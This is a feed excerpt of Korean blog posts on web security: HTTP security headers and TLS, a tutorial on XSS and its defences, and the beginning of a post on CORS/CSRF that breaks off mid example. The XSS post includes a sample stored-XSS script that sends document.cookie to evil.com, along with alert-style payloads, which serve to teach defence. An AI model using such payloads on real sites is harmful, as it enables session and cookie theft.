<p>Apache에서 HTTP/3는 아직 개발 중이어서 완벽하게 지원되진 않아요. 만약 HTTP/3를 웹사이트에 적용하고 싶다면, <strong>Cloudflare, Fastly, Google Cloud CDN</strong> 같은 <strong>CDN 서비스</strong>를 이용하는 것이 훨씬 쉽고 안정적인 방법이에요. 이런 서비스들이 대신 HTTP/3를 적용해 줄 거예요.</p>
<hr>
<h2 id="3-웹사이트를-더-안전하게-만드는-보안-헤더들">3. 웹사이트를 더 안전하게 만드는 &#39;보안 헤더&#39;들</h2>
<p>웹사이트의 보안을 강화하기 위해 웹 브라우저에게 특별한 지시를 내리는 것이 바로 <strong>보안 관련 HTTP 헤더</strong>예요. 이것들을 설정하면 여러 가지 웹 공격을 막을 수 있어요.</p>
<h3 id="3-1-strict-transport-security-hsts">3-1. Strict-Transport-Security (HSTS)</h3>
<ul>
<li><strong>역할</strong>: 이 웹사이트는 <strong>무조건 HTTPS로만 접속해야 한다고 강제</strong>하는 헤더예요. 한번 접속한 사용자의 브라우저는 앞으로 이 사이트에 접속할 때 항상 HTTPS로만 연결하려고 시도해요. 중간에서 공격자가 HTTP로 유도하는 것을 막아줘요.</li>
<li><strong>설정 예시</strong>:<pre><code class="language-http">Strict-Transport-Security: max-age=31536000; includeSubDomains; preload</code></pre>
<ul>
<li><code>max-age=31536000</code>: 1년(3153만 6천 초) 동안 이 규칙을 기억하라는 뜻이에요.</li>
<li><code>includeSubDomains</code>: 이 도메인의 모든 하위 도메인(예: <a href="https://www.google.com/search?q=blog.example.com)%EC%97%90%EB%8F%84">https://www.google.com/search?q=blog.example.com)에도</a> 적용하라는 뜻이에요.</li>
<li><code>preload</code>: 이 사이트가 HSTS를 사용한다는 정보를 미리 웹 브라우저에 등록하도록 요청하는 거예요.</li>
</ul>
</li>
</ul>
<h3 id="3-2-x-frame-options">3-2. X-Frame-Options</h3>
<ul>
<li><strong>역할</strong>: 웹사이트가 다른 사이트에 &#39;액자(프레임)&#39; 형태로 삽입되는 것을 막아요. 이걸 안 막으면 <strong>클릭재킹(Clickjacking)</strong> 같은 공격에 취약해질 수 있어요. (클릭재킹은 사용자가 의도치 않게 악성 버튼을 누르게 만드는 공격이에요.)</li>
<li><strong>설정 예시</strong>:<pre><code class="language-http">X-Frame-Options: DENY # 아예 다른 사이트에 삽입될 수 없게 해요
# 또는
X-Frame-Options: SAMEORIGIN # 같은 도메인 내에서만 삽입을 허용해요</code></pre>
</li>
</ul>
<h3 id="3-3-x-content-type-options">3-3. X-Content-Type-Options</h3>
<ul>
<li><strong>역할</strong>: 웹 브라우저가 파일 형식을 멋대로 판단하는 것을 막아요. 이걸 <strong>MIME 스니핑 방지</strong>라고 하는데, 만약 웹사이트에 이미지 파일을 올렸는데 브라우저가 이걸 스크립트 파일로 오해해서 실행해버리면 보안 문제가 생길 수 있겠죠? 그걸 막아줘요.</li>
<li><strong>설정 예시</strong>:<pre><code class="language-http">X-Content-Type-Options: nosniff</code></pre>
<ul>
<li><code>nosniff</code>: &#39;절대 멋대로 판단하지 말고, 서버가 보낸 Content-Type 헤더를 그대로 믿어라!&#39;는 뜻이에요.</li>
</ul>
</li>
</ul>
<h3 id="3-4-referrer-policy">3-4. Referrer-Policy</h3>
<ul>
<li><strong>역할</strong>: 사용자가 어떤 링크를 클릭해서 다른 사이트로 이동할 때, 이전에 어떤 페이지에서 왔는지(참조 정보, Referrer)를 알려줄지 말지를 제어해요. 개인 정보 노출을 줄이는 데 도움이 돼요.</li>
<li><strong>설정 예시</strong>:<pre><code class="language-http">Referrer-Policy: strict-origin-when-cross-origin</code></pre>
<ul>
<li><code>strict-origin-when-cross-origin</code>: 다른 출처(도메인)로 이동할 때는 전체 URL 대신 <code>https://example.com</code>처럼 도메인만 보내주고, 같은 출처로 이동할 때는 전체 URL을 보내줘요.</li>
</ul>
</li>
</ul>
<h3 id="3-5-permissions-policy-구-feature-policy">3-5. Permissions-Policy (구 Feature-Policy)</h3>
<ul>
<li><strong>역할</strong>: 웹페이지에서 카메라, 마이크, GPS 같은 브라우저의 특정 기능들을 사용할 수 있는지 없는지를 정하는 헤더예요. 악성 웹사이트가 사용자의 동의 없이 기능을 사용하는 것을 막을 수 있어요.</li>
<li><strong>설정 예시</strong>:<pre><code class="language-http">Permissions-Policy: camera=(), geolocation=(self)</code></pre>
<ul>
<li><code>camera=()</code>: 이 웹사이트에서는 카메라를 사용할 수 없도록 해요.</li>
<li><code>geolocation=(self)</code>: 이 웹사이트 자체(self)에서만 위치 정보(geolocation)를 사용할 수 있도록 해요. 다른 외부 스크립트가 마음대로 위치 정보를 가져가는 것을 막아요.</li>
</ul>
</li>
</ul>
<h3 id="3-6-content-security-policy-csp">3-6. Content-Security-Policy (CSP)</h3>
<ul>
<li><strong>역할</strong>: 웹사이트에서 불러오는 스크립트, 스타일, 이미지 같은 모든 자원들이 <strong>어떤 출처(도메인)에서만 허용될지</strong>를 아주 세밀하게 제어할 수 있는 가장 강력한 보안 헤더 중 하나예요. <strong>크로스 사이트 스크립팅(XSS)</strong> 공격 같은 것을 막는 데 효과적이에요.</li>
<li><strong>설정 예시</strong>:<pre><code class="language-http">Content-Security-Policy: default-src &#39;self&#39;; img-src &#39;self&#39; https://cdn.example.com; script-src &#39;self&#39;;</code></pre>
<ul>
<li><code>default-src &#39;self&#39;</code>: 기본적으로 모든 자원은 &#39;우리 웹사이트(<code>self</code>)&#39;에서만 불러올 수 있도록 해요.</li>
<li><code>img-src &#39;self&#39; https://cdn.example.com</code>: 이미지는 우리 웹사이트와 <code>https://cdn.example.com</code>이라는 CDN에서만 불러올 수 있도록 해요.</li>
<li><code>script-src &#39;self&#39;</code>: 스크립트는 우리 웹사이트에서만 불러올 수 있도록 해요.</li>
</ul>
</li>
</ul>
<hr>
<h2 id="4-데이터-암호화-전략-꼼꼼하게-잠그기">4. 데이터 암호화 전략: 꼼꼼하게 잠그기</h2>
<p>데이터는 두 가지 주요 시점에서 암호화가 필요해요. 하나는 데이터를 주고받을 때이고, 다른 하나는 데이터를 저장해 둘 때예요.</p>
<h3 id="4-1-전송-중-암호화-in-transit">4-1. 전송 중 암호화 (In Transit)</h3>
<ul>
<li><strong>필수</strong>: <strong>HTTPS/TLS</strong>를 사용하는 것이 핵심이에요. 웹 브라우저와 서버 간에 데이터가 이동하는 동안 아무도 훔쳐보지 못하도록 암호화하는 거죠.</li>
<li><strong>TLS 버전</strong>: 위에서 설명했듯이, <strong>TLS 1.2 이상</strong>을 사용하는 것이 중요하고, 최신 버전인 <strong>TLS 1.3</strong>은 보안과 성능 면에서 가장 뛰어나요.</li>
</ul>
<h3 id="4-2-저장-시-암호화-at-rest">4-2. 저장 시 암호화 (At Rest)</h3>
<ul>
<li><strong>데이터베이스 암호화</strong>: 웹사이트에서 사용하는 데이터베이스에 저장된 모든 데이터를 암호화하는 거예요. <strong>TDE(Transparent Data Encryption)</strong> 같은 기술을 사용하면 데이터베이스에 저장된 데이터 자체를 암호화해서, 만약 데이터베이스 파일이 유출되더라도 내용을 알 수 없게 만들 수 있어요.</li>
<li><strong>필드 암호화</strong>: 주민등록번호, 계좌번호, 전화번호처럼 <strong>특히 민감한 정보</strong>는 데이터베이스 전체를 암호화하는 것 외에도 해당 필드만 따로 암호화해서 저장하는 것을 고려할 수 있어요.</li>
<li><strong>암호화 알고리즘</strong>: 데이터를 암호화할 때는 <strong>AES-256, RSA-2048</strong>처럼 이미 검증되고 널리 사용되는 강력한 암호화 방식을 사용해야 해요.</li>
</ul>
<blockquote>
<p><strong>Tip:</strong> <strong>비밀번호는 절대로 원래 모습 그대로(평문) 저장하면 안 돼요!</strong> <code>bcrypt</code>, <code>Argon2</code>처럼 강력한 <strong>해시 함수</strong>를 사용해서 비밀번호를 암호화된 형태로 저장해야 해요. 이렇게 하면 만약 데이터베이스가 털려도 사용자 비밀번호가 바로 유출되지 않아요.</p>
</blockquote>
<hr>
<h1 id="부록-더-깊이-알아보기">부록: 더 깊이 알아보기</h1>
<h2 id="a-보안-헤더-expressjs에서-쉽게-설정하기">A. 보안 헤더 Express.js에서 쉽게 설정하기</h2>
<p>Node.js의 Express.js를 사용한다면, 다음과 같이 미들웨어를 통해 보안 헤더를 한 번에 설정할 수 있어요.</p>
<pre><code class="language-js">app.use((req, res, next) =&gt; {
  res.setHeader(&#39;Strict-Transport-Security&#39;, &#39;max-age=31536000; includeSubDomains; preload&#39;);
  res.setHeader(&#39;X-Frame-Options&#39;, &#39;DENY&#39;);
  res.setHeader(&#39;X-Content-Type-Options&#39;, &#39;nosniff&#39;);
  res.setHeader(&#39;Referrer-Policy&#39;, &#39;strict-origin-when-cross-origin&#39;);
  res.setHeader(&#39;Permissions-Policy&#39;, &#39;camera=(), geolocation=(self)&#39;);
  // Content-Security-Policy는 내용이 길어져 별도의 모듈을 사용하는 것이 좋아요.
  next();
});</code></pre>
<h2 id="b-암호화에-유용한-도구들">B. 암호화에 유용한 도구들</h2>
<ul>
<li><strong>OpenSSL</strong>: SSL/TLS 인증서를 만들거나, 웹사이트의 TLS 설정을 테스트할 때 유용하게 쓰이는 강력한 도구예요.</li>
<li><strong>bcrypt, argon2</strong>: 비밀번호를 안전하게 암호화(해시)할 때 사용하는 라이브러리예요.</li>
<li><strong>Vault</strong>: 민감한 정보(비밀키, API 키, 인증서 등)를 안전하게 관리하고 배포하는 데 사용되는 도구예요.</li>
</ul>
<hr>
<h2 id="c-용어-정리-ssl-vs-tls-더-자세히-알아볼까요">C. 용어 정리: SSL vs TLS (더 자세히 알아볼까요?)</h2>
<p>많은 사람이 SSL과 TLS를 섞어 쓰는 이유가 뭘까요? 그리고 이 둘은 정확히 어떻게 다른 걸까요?</p>
<p><strong>역사적 배경</strong></p>
<ul>
<li><strong>SSL 1.0</strong>: 넷스케이프에서 개발했지만, 실제로 공개되지 않은 베타 버전이에요.</li>
<li><strong>SSL 2.0 (1995년)</strong>: 처음으로 공개된 버전이지만, 여러 보안 취약점이 발견되어 빠르게 사라졌어요.</li>
<li><strong>SSL 3.0 (1996년)</strong>: 보안이 많이 개선되었지만, <strong>POODLE 공격</strong> 같은 새로운 취약점 때문에 지금은 더 이상 사용하지 않아요.</li>
<li><strong>TLS 1.0 (1999년)</strong>: SSL 3.0을 기반으로 만들어졌고, 이름만 TLS로 바뀌었을 뿐 내부적으로는 SSL 3.0과 비슷해요. 호환성을 위해 이름만 바뀐 초기 TLS 버전이죠.</li>
<li><strong>TLS 1.1 (2006년)</strong>: 몇 가지 보안 문제가 해결되었어요.</li>
<li><strong>TLS 1.2 (2008년)</strong>: 지금 가장 널리 쓰이는 버전으로, SHA-256 같은 더 강력한 암호화 방식을 지원하기 시작했어요. 대부분의 웹사이트에서 표준으로 사용하고 있어요.</li>
<li><strong>TLS 1.3 (2018년)</strong>: 가장 최신 버전으로, 데이터를 주고받기 시작하는 과정(핸드셰이크)을 훨씬 짧게 만들어서 속도를 높였고, 보안적으로 취약한 암호화 방식들을 아예 없애버려서 보안성과 성능을 동시에 잡았어요.</li>
</ul>
<p><strong>주요 차이점</strong></p>
<ol>
<li><strong>버전 협상</strong>: 웹 브라우저와 서버가 서로 어떤 TLS 버전을 지원하는지 확인하고, 가장 안전하고 최신 버전을 자동으로 선택해서 사용해요.</li>
<li><strong>데이터 주고받는 과정(핸드셰이크) 구조</strong>: TLS 1.3은 웹 브라우저와 서버가 연결을 맺는 단계를 한 번(1-RTT)으로 줄여서 연결 속도가 훨씬 빨라졌어요.</li>
<li><strong>암호화 방식</strong>: 오래된 SSL 3.0과 TLS 1.0은 약한 암호화 방식도 허용했지만, TLS 1.2/1.3은 <code>GCM</code>, <code>ChaCha20-Poly1305</code>처럼 강력하고 안전한 암호화 방식만 사용하도록 강제해요.</li>
<li><strong>보안 강화</strong>: TLS 1.2부터는 데이터의 변조를 막는 기능이 강화되었고, TLS 1.3에서는 모든 데이터가 암호화되어 보안성이 크게 좋아졌어요.</li>
<li><strong>암호화 스위트 축소</strong>: TLS 1.3은 안전하지 않은 암호화 방식들을 제거하고, 웹 브라우저가 이전에 방문했던 사이트에 더 빠르게 접속할 수 있도록 <code>0-RTT</code> 모드를 기본으로 지원해요.</li>
</ol>
<p><strong>실무에서 적용하는 팁</strong></p>
<ul>
<li>여러분 서버에서 <strong>SSLv2, SSLv3, TLS 1.0, TLS 1.1</strong>은 아예 사용하지 못하도록 설정하고, <strong><code>TLSv1.2</code>와 <code>TLSv1.3</code>만 허용</strong>해야 해요.</li>
<li>암호화 방식(Cipher 스위트)도 <strong>OWASP나 Mozilla에서 권장하는 최신 기준</strong>에 맞춰 설정하세요.</li>
<li>정기적으로 <strong>SSL Labs나 testssl.sh 같은 온라인 도구</strong>를 사용해서 여러분의 웹사이트 TLS 설정이 제대로 되어 있는지, 혹시 취약점은 없는지 꼭 점검해야 해요.</li>
<li>발급받은 인증서가 만료되지 않았는지, 그리고 인증서 발급 기관(CA)이 신뢰할 수 있는 곳인지도 주기적으로 확인하는 게 좋아요.</li>
</ul>
<hr>
<h2 id="d-왜-아직도-ssl이라는-말을-많이-쓸까요-용어-혼동의-역사">D. 왜 아직도 &#39;SSL&#39;이라는 말을 많이 쓸까요? (용어 혼동의 역사)</h2>
<p>기술적으로는 &#39;TLS&#39;가 맞는 표현인데 왜 아직도 &#39;SSL&#39;이라는 말을 많이 쓸까요? 몇 가지 이유가 있어요.</p>
<ol>
<li><strong>오랜 습관</strong>: 넷스케이프가 1990년대 초에 처음 개발한 암호화 기술이 &#39;SSL&#39;이었어요. 시간이 지나 &#39;TLS&#39;로 발전했지만, 사람들은 이미 &#39;SSL&#39;이라는 이름에 익숙해져 버렸죠. 한번 굳어진 용어는 쉽게 바뀌지 않아요.</li>
<li><strong>인증서 판매 회사의 마케팅</strong>: 인증서를 판매하는 회사들은 처음부터 &quot;SSL 인증서&quot;라는 이름을 사용해서 마케팅을 해왔어요. 이 이름이 더 친숙하고, 오랫동안 사용되었기 때문에 지금도 많은 곳에서 &quot;SSL 인증서&quot;라는 브랜드를 고수하고 있어요.</li>
<li><strong>기술 문서에서의 혼용</strong>: 웹 호스팅 가이드, 서버 관리 문서, 온라인 튜토리얼 등 많은 기술 문서에서도 정확한 명칭 대신 &quot;SSL 인증서&quot;라는 용어를 그대로 사용하는 경우가 많아요. 그래서 &quot;SSL 인증서 설치&quot;라고 검색하면 실제로는 TLS 1.2/1.3용 인증서 설치 방법이 나오는 것을 볼 수 있죠.</li>
</ol>
<blockquote>
<p><strong>정리</strong>: &#39;프로토콜 자체&#39;를 이야기할 때는 <strong>TLS</strong>라는 용어를 쓰는 것이 정확해요. 하지만 &#39;인증서&#39;를 이야기할 때는 오랜 관습 때문에 <strong>SSL 인증서</strong>라는 표현도 많이 쓰인다는 점을 이해하시면 됩니다. 중요한 건 용어보다는 <strong>실제로 TLS 1.2 이상의 최신 버전을 적용하는 것</strong>이라는 점을 기억해주세요!</p>
</blockquote>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS 완전정복 & 입력 검증으로 안전한 웹 만들기]]></title>
            <link>https://velog.io/@kylie_03/XSS-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-%EC%9E%85%EB%A0%A5-%EA%B2%80%EC%A6%9D%EC%9C%BC%EB%A1%9C-%EC%95%88%EC%A0%84%ED%95%9C-%EC%9B%B9-%EB%A7%8C%EB%93%A4%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/XSS-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-%EC%9E%85%EB%A0%A5-%EA%B2%80%EC%A6%9D%EC%9C%BC%EB%A1%9C-%EC%95%88%EC%A0%84%ED%95%9C-%EC%9B%B9-%EB%A7%8C%EB%93%A4%EA%B8%B0</guid>
            <pubDate>Mon, 21 Jul 2025 01:24:35 GMT</pubDate>
            <description><![CDATA[<h1 id="들어가기-전">들어가기 전</h1>
<p>웹사이트에서 검색창에 <code>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</code>를 입력했는데, 클릭 한 번에 경고창이 뜬다면 놀라지 않을 수 없죠? 이처럼 공격자가 악성 스크립트를 삽입해, 다른 사용자의 브라우저에서 임의 코드를 실행하게 만드는 공격이 바로 <strong>XSS(Cross-Site Scripting)</strong> 입니다. XSS는 개인정보 탈취, 세션 쿠키 탈취, 피싱 페이지 삽입 등 치명적 보안 사고를 일으킬 수 있습니다.</p>
<p>이번 장에서는 XSS의 원리와 유형별 사례, 그리고 이를 막기 위한 <strong>입력 검증</strong>, <strong>인코딩·이스케이프</strong>, <strong>CSP(Content Security Policy)</strong> 적용 방법을 실제 코드 예제와 함께 자세히 살펴보겠습니다.&#x20;</p>
<hr>
<h1 id="1-xss-기초-왜-위험할까">1. XSS 기초: 왜 위험할까?</h1>
<p>XSS는 공격 코드가 사용자 웹 페이지에서 실행되도록 만드는 공격입니다. 크게 두 가지 문제가 발생합니다:</p>
<ol>
<li><p><strong>세션 쿠키 탈취</strong></p>
<ul>
<li>공격 스크립트가 <code>document.cookie</code>를 통해 쿠키를 훔쳐, 외부 서버로 전송할 수 있습니다.</li>
</ul>
</li>
<li><p><strong>사용자 임의 조작</strong></p>
<ul>
<li>DOM 변경, 키 입력 로깅, 피싱 폼 삽입 등 다양한 악성 행동이 가능해집니다.</li>
</ul>
</li>
</ol>
<blockquote>
<p>💡 <strong>비유</strong>: XSS는 웹 페이지에 몰래 열린 작은 뒷문처럼, 공격자가 원하는 코드를 마음대로 들여놓고 실행할 수 있는 구멍입니다.</p>
</blockquote>
<hr>
<h1 id="2-xss-유형별-사례">2. XSS 유형별 사례</h1>
<h3 id="2-1-stored-xss-영구-저장형">2-1. Stored XSS (영구 저장형)</h3>
<ul>
<li><p><strong>시나리오</strong>: 공격자가 게시판, 댓글, 프로필 입력란 등에 <code>&lt;script&gt;</code> 코드를 남겨두면, 다른 사용자가 그 페이지를 방문할 때마다 스크립트가 실행됩니다.</p>
</li>
<li><p><strong>예제</strong>:</p>
<pre><code class="language-html">&lt;!-- 게시판 글쓰기 폼 --&gt;
&lt;form action=&quot;/post&quot; method=&quot;post&quot;&gt;
  &lt;input name=&quot;title&quot; /&gt;
  &lt;textarea name=&quot;content&quot;&gt;&lt;/textarea&gt;
  &lt;button&gt;작성&lt;/button&gt;
&lt;/form&gt;
&lt;!-- 서버가 오직 필터링 없이 저장 --&gt;
&lt;!-- 나중에 조회 시 악성 스크립트 실행 --&gt;
&lt;h1&gt;제목&lt;/h1&gt;
&lt;p&gt;&lt;script&gt;fetch(&#39;https://evil.com/log?cookie=&#39;+document.cookie)&lt;/script&gt;&lt;/p&gt;</code></pre>
</li>
</ul>
<h3 id="2-2-reflected-xss-반사형">2-2. Reflected XSS (반사형)</h3>
<ul>
<li><p><strong>시나리오</strong>: URL 파라미터나 폼 입력이 즉시 페이지에 반영되며, 그 값에 스크립트가 포함되면 공격이 실행됩니다.</p>
</li>
<li><p><strong>예제</strong>:</p>
<pre><code class="language-html">&lt;!-- /search?q= 키워드를 그대로 출력 --&gt;
&lt;h2&gt;검색 결과: &quot;&lt;%= req.query.q %&gt;&quot;&lt;/h2&gt;
&lt;!-- 공격자 링크 예시 --&gt;
a href=&quot;https://myshop.com/search?q=&lt;script&gt;alert(1)&lt;/script&gt;&quot; 링크 클릭 시 경고창 발생</code></pre>
</li>
</ul>
<h3 id="2-3-dom-based-xss-클라이언트-측">2-3. DOM-based XSS (클라이언트 측)</h3>
<ul>
<li><p><strong>시나리오</strong>: 자바스크립트가 URL hash, <code>innerHTML</code> 등으로 DOM을 직접 조작할 때, 공격 코드를 삽입합니다.</p>
</li>
<li><p><strong>예제</strong>:</p>
<pre><code class="language-html">&lt;div id=&quot;output&quot;&gt;&lt;/div&gt;
&lt;script&gt;
  // 해시 값을 직접 innerHTML로 삽입
  document.getElementById(&#39;output&#39;).innerHTML = location.hash.substring(1);
&lt;/script&gt;
&lt;!-- URL: https://site.com/#&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt; --&gt;</code></pre>
</li>
</ul>
<hr>
<h1 id="3-방어-기법-다양한-xss-공격-차단하기">3. 방어 기법: 다양한 XSS 공격 차단하기</h1>
<p>XSS 공격을 예방하려면 <strong>입력 단계부터 출력, 렌더링, 스크립트 실행 단계</strong>에 이르는 전 과정에서 방어해야 합니다. 아래 주요 기법들을 조합해 안전한 웹 페이지를 구축해 보세요.</p>
<h3 id="3-1-입력-검증validation">3-1. 입력 검증(Validation)</h3>
<ul>
<li><p><strong>화이트리스트 검증</strong>: 사용자가 입력할 수 있는 문자와 길이, 형식을 제한합니다.</p>
<pre><code class="language-js">// 예: 이름 입력은 영문·숫자만, 최대 30자
if (!/^[a-zA-Z0-9]{1,30}$/.test(name)) throw new Error(&#39;Invalid name&#39;);</code></pre>
</li>
<li><p><strong>블랙리스트은 보조용</strong>으로만 사용하고, 필수 입력 필드나 형식(이메일, URL 등)은 별도 정규식 검사하세요.</p>
</li>
</ul>
<h3 id="3-2-출력-인코딩·이스케이프escaping">3-2. 출력 인코딩·이스케이프(Escaping)</h3>
<ul>
<li><p><strong>HTML 인코딩</strong>: <code>&lt;</code>, <code>&gt;</code> 등 특수 문자를 <code>&amp;lt;</code>, <code>&amp;gt;</code> 처럼 변환합니다.</p>
<pre><code class="language-js">function escapeHTML(str) {
  return str.replace(/&amp;/g, &#39;&amp;amp;&#39;)
            .replace(/&lt;/g, &#39;&amp;lt;&#39;)
            .replace(/&gt;/g, &#39;&amp;gt;&#39;)
            .replace(/&quot;/g, &#39;&amp;quot;&#39;)
            .replace(/&#39;/g, &#39;&amp;#39;&#39;);
}
element.innerHTML = escapeHTML(userInput);</code></pre>
</li>
<li><p><strong>Attribute, URL, JavaScript 컨텍스트</strong>별 인코딩도 고려해야 합니다.</p>
</li>
</ul>
<h3 id="3-3-자동-이스케이프-기능-활용">3-3. 자동 이스케이프 기능 활용</h3>
<ul>
<li>React(JSX), Vue, Angular 등의 프레임워크는 기본적으로 텍스트 바인딩 시 이스케이프를 적용합니다.</li>
<li>서버 템플릿 엔진(Handlebars, EJS 등)에서도 <strong>자동 인코딩</strong> 옵션을 활성화하세요.</li>
</ul>
<h3 id="3-4-html-sanitization">3-4. HTML Sanitization</h3>
<ul>
<li><p>사용자가 HTML을 직접 입력해야 할 경우, <strong>DOMPurify</strong> 같은 검증된 라이브러리를 사용해 위험한 태그나 속성을 제거합니다.</p>
<pre><code class="language-js">const clean = DOMPurify.sanitize(userHtml);
container.innerHTML = clean;</code></pre>
</li>
</ul>
<h3 id="3-5-보안-http-헤더-설정">3-5. 보안 HTTP 헤더 설정</h3>
<ul>
<li><p><strong>X-XSS-Protection</strong>: IE/Edge 내장 XSS 필터 활용</p>
<pre><code class="language-http">X-XSS-Protection: 1; mode=block</code></pre>
</li>
<li><p><strong>X-Content-Type-Options</strong>: MIME 스니핑 방지</p>
<pre><code class="language-http">X-Content-Type-Options: nosniff</code></pre>
</li>
<li><p><strong>Referrer-Policy</strong>, <strong>Permissions-Policy</strong> 등도 함께 설정해 보안 강화</p>
</li>
</ul>
<h3 id="3-6-content-security-policy-csp">3-6. Content Security Policy (CSP)</h3>
<ul>
<li><p><strong>엄격한 스크립트 소스 제어</strong>: 인라인 스크립트와 외부 도메인 로딩을 제한합니다.</p>
<pre><code class="language-js">app.use((req, res, next) =&gt; {
  res.setHeader(&#39;Content-Security-Policy&#39;,
    &quot;default-src &#39;self&#39;; script-src &#39;self&#39; &#39;nonce-abc123&#39;; style-src &#39;self&#39;;&quot;
  );
  next();
});</code></pre>
</li>
<li><p><strong>Nonce/hash</strong> 기반 스크립트 허용: 인라인 스크립트 사용 시 <code>nonce-...</code> 를 스크립트 태그에 추가해, 오직 그 스크립트만 실행되게 합니다.</p>
</li>
</ul>
<h3 id="3-7-서버-측-xss-방어-추가-기법">3-7. 서버 측 XSS 방어 추가 기법</h3>
<p>서버 측에서도 XSS를 방어하기 위해 다음과 같은 방법을 적용할 수 있습니다.</p>
<h4 id="3-7-1-전역-출력-인코딩-적용">3-7-1. 전역 출력 인코딩 적용</h4>
<ul>
<li><p>템플릿 엔진에서 사용자가 입력한 모든 데이터를 자동으로 HTML 이스케이프 설정</p>
<pre><code class="language-js">// 예: Express + EJS 설정
app.set(&#39;view engine&#39;, &#39;ejs&#39;);
// EJS는 &lt;%= %&gt; 구문에서 자동 HTML 이스케이프를 수행합니다.</code></pre>
</li>
</ul>
<h4 id="3-7-2-서버-측-sanitization">3-7-2. 서버 측 Sanitization</h4>
<ul>
<li><p>서버에서 들어오는 HTML 또는 사용자 입력을 <strong>DOMPurify</strong>(Node 버전) 등으로 정제</p>
<pre><code class="language-js">const createDOMPurify = require(&#39;dompurify&#39;);
const { JSDOM } = require(&#39;jsdom&#39;);
const window = new JSDOM(&#39;&#39;).window;
const DOMPurify = createDOMPurify(window);

app.post(&#39;/submit&#39;, (req, res) =&gt; {
  const cleanHtml = DOMPurify.sanitize(req.body.userHtml);
  // cleanHtml을 저장 또는 렌더링
});</code></pre>
</li>
</ul>
<h4 id="3-7-3-http-응답-시-자동-헤더-적용">3-7-3. HTTP 응답 시 자동 헤더 적용</h4>
<ul>
<li><p>모든 응답에 보안 헤더를 일괄 설정해 XSS 취약점 노출을 줄임</p>
<pre><code class="language-js">app.use((req, res, next) =&gt; {
  res.setHeader(&#39;X-XSS-Protection&#39;, &#39;1; mode=block&#39;);
  res.setHeader(&#39;X-Content-Type-Options&#39;, &#39;nosniff&#39;);
  next();
});</code></pre>
</li>
</ul>
<h4 id="3-7-4-라우터별-세부-방어-정책">3-7-4. 라우터별 세부 방어 정책</h4>
<ul>
<li><p>중요한 데이터가 노출되는 라우터(Path)에 대해 추가 검증 및 제한 적용</p>
<pre><code class="language-js">app.get(&#39;/user/profile&#39;, (req, res) =&gt; {
  const safeBio = escapeHTML(req.user.bio);
  res.render(&#39;profile&#39;, { bio: safeBio });
});</code></pre>
</li>
</ul>
<hr>
<h1 id="부록">부록</h1>
<h3 id="a-주요-xss-방어-함수·태그-정리">A. 주요 XSS 방어 함수·태그 정리</h3>
<table>
<thead>
<tr>
<th>기법</th>
<th>코드/태그 예시</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>HTML Escape</td>
<td><code>&amp;lt;</code>, <code>&amp;gt;</code>, <code>&amp;amp;</code></td>
<td>출력 시 특수문자 인코딩</td>
</tr>
<tr>
<td>textContent</td>
<td><code>el.textContent = userInput</code></td>
<td>DOM 삽입 시 자동 이스케이프</td>
</tr>
<tr>
<td>CSP Header</td>
<td><code>Content-Security-Policy</code> 헤더</td>
<td>외부 스크립트 로드 제어</td>
</tr>
</tbody></table>
<h3 id="b-테스트-및-디버깅-도구">B. 테스트 및 디버깅 도구</h3>
<ul>
<li><strong>브라우저 개발자 도구</strong>: Console, Network 패널을 활용해 스크립트 로드/실행 여부 확인</li>
<li><strong>Burp Suite</strong>, <strong>OWASP ZAP</strong>: 자동 스캔으로 XSS 취약점 탐지</li>
<li><strong>Security Headers</strong> 웹 서비스: CSP, XSS Protection 헤더 설정 상태 검사</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[교차 출처(CORS) & 요청 위조(CSRF)]]></title>
            <link>https://velog.io/@kylie_03/%EA%B5%90%EC%B0%A8-%EC%B6%9C%EC%B2%98CORS-%EC%9A%94%EC%B2%AD-%EC%9C%84%EC%A1%B0CSRF</link>
            <guid>https://velog.io/@kylie_03/%EA%B5%90%EC%B0%A8-%EC%B6%9C%EC%B2%98CORS-%EC%9A%94%EC%B2%AD-%EC%9C%84%EC%A1%B0CSRF</guid>
            <pubDate>Thu, 17 Jul 2025 10:58:30 GMT</pubDate>
            <description><![CDATA[<h1 id="들어가기-전">들어가기 전</h1>
<p>로그인된 상태로 쇼핑몰에서 결제를 준비하던 중, 이상한 뉴스 사이트 한 곳만 방문했을 뿐인데 장바구니에 엉뚱한 상품이 담기거나 결제가 자동으로 이루어진다면 얼마나 당황스러울까요? 웹 브라우저는 기본 보안 정책으로 서로 다른 도메인 간 스크립트를 제한하지만, 여러 이유로 외부 리소드를 안전하게 받아와야 할 때가 있습니다. 이를 관리하는 것이 <strong>CORS(Cross-Origin Resource Sharing)</strong>이며, 동시에 사용자의 세션 쿠키를 노리는 악질 공격인 CSRF(Cross-Site Request Forgery) 에 주의해야 합니다.</p>
<p>이번 장에서는 교차 출처 리소스 공유 방법과 의도치 않은 요청이 내 세션을 악용하지 못하도록 차단하는 기법을 차근차근 살펴보겠습니다. </p>
</br>

<h1 id="1-corscross-origin-resource-sharing">1. CORS(Cross-Origin Resource Sharing)</h1>
<p>브라우저가 &#39;서로 다른 출처&#39;를 막는 이유는 사용자가 의도하지 않은 데이터 접근이나 조작을 방지하기 위해섭니다. 그러나 때로는 믿을 수 있는 외부 API에서 데이터를 가져와야할 필요가 있습니다. CORS는 그 균형을 맞추는 열쇠입니다.</p>
<p>브라우저가 외부 도메인에 요청을 보내면, 요청 헤더에 <code>Origin:https://example.com</code> 같은 정보를 추가합니다. 서버는 응답 헤더로 <code>Access-Control-Allow-Origin: https://example.com</code> 을 지정해, 이 출처에서 온 요청을 받아들이겠다고 명시하죠. 만약 서버가 허용하지 않은 출처에서 요청이 들어오면, 브라우저가 응답 내용을 차단하고 개발자 도구에 오류를 보여줍니다.</p>
<p>추가로, 복잡한 요청(커스텀 헤더나 비-단순 메서드)을 위해 브라우저는 사진 요청(preflight)이라는 OPTIONS 요청을 먼저 보내기도 합니다. 이때 <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> 등을 통해 허용 범위를 더욱 정교하게 설정할 수 있습니다.</p>
<pre><code># 클라이언트 요청 예시
GET /api/data HTTP/1.1
Host: api.external.com
Origin: https://myshop.com

# 서버 응답 예시
